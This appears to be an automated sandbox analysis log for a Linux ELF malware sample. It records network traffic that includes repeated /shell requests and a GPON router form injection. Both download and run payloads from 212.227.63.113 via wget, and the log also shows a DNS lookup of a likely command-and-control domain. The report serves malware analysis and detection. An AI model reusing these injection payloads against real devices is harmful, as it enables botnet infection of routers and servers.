Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+212.227.63.113/jaws;sh+/tmp/jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: global traffic

DNS traffic detected: DNS query: plutoc2.site

Source: unknown

HTTP traffic detected: POST /GponForm/diag_Form?style/ HTTP/1.1User-Agent: Hello, WorldAccept: */*Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedData Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://212.227.63.113/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	String found in binary or memory: http://212.227.63.113/bin
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: db0fa4b8db0333367e9bda3ab68b8042.spc.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 57928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46352
Source: unknown	Network traffic detected: HTTP traffic on port 47330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57928
Source: unknown	Network traffic detected: HTTP traffic on port 39932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50572
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51390
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60496
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35400 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 55968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33428
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 14257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39932
Source: unknown	Network traffic detected: HTTP traffic on port 46844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60422
Source: unknown	Network traffic detected: HTTP traffic on port 45762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55000
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57260
Source: unknown	Network traffic detected: HTTP traffic on port 36832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49326
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45762
Source: unknown	Network traffic detected: HTTP traffic on port 50634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 43602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 33606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33894
Source: unknown	Network traffic detected: HTTP traffic on port 42882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38306
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37338
Source: unknown	Network traffic detected: HTTP traffic on port 60108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58362
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46844
Source: unknown	Network traffic detected: HTTP traffic on port 47650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38332 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51856
Source: unknown	Network traffic detected: HTTP traffic on port 33894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38382
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47650
Source: unknown	Network traffic detected: HTTP traffic on port 50572 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46284
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45350
Source: unknown	Network traffic detected: HTTP traffic on port 42602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34492 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54298
Source: unknown	Network traffic detected: HTTP traffic on port 51390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60680
Source: unknown	Network traffic detected: HTTP traffic on port 40138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43602
Source: unknown	Network traffic detected: HTTP traffic on port 39456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43206
Source: unknown	Network traffic detected: HTTP traffic on port 49366 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50814
Source: unknown	Network traffic detected: HTTP traffic on port 51352 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56356
Source: unknown	Network traffic detected: HTTP traffic on port 39630 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35634 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59744
Source: unknown	Network traffic detected: HTTP traffic on port 55394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34696
Source: unknown	Network traffic detected: HTTP traffic on port 43206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40456 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58362 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55394
Source: unknown	Network traffic detected: HTTP traffic on port 36682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48568
Source: unknown	Network traffic detected: HTTP traffic on port 34696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50946
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51352
Source: unknown	Network traffic detected: HTTP traffic on port 50946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60108
Source: unknown	Network traffic detected: HTTP traffic on port 42428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45566
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47228
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60502
Source: unknown	Network traffic detected: HTTP traffic on port 48568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48832
Source: unknown	Network traffic detected: HTTP traffic on port 48306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47588
Source: unknown	Network traffic detected: HTTP traffic on port 38306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49366
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48310
Source: unknown	Network traffic detected: HTTP traffic on port 60422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45042
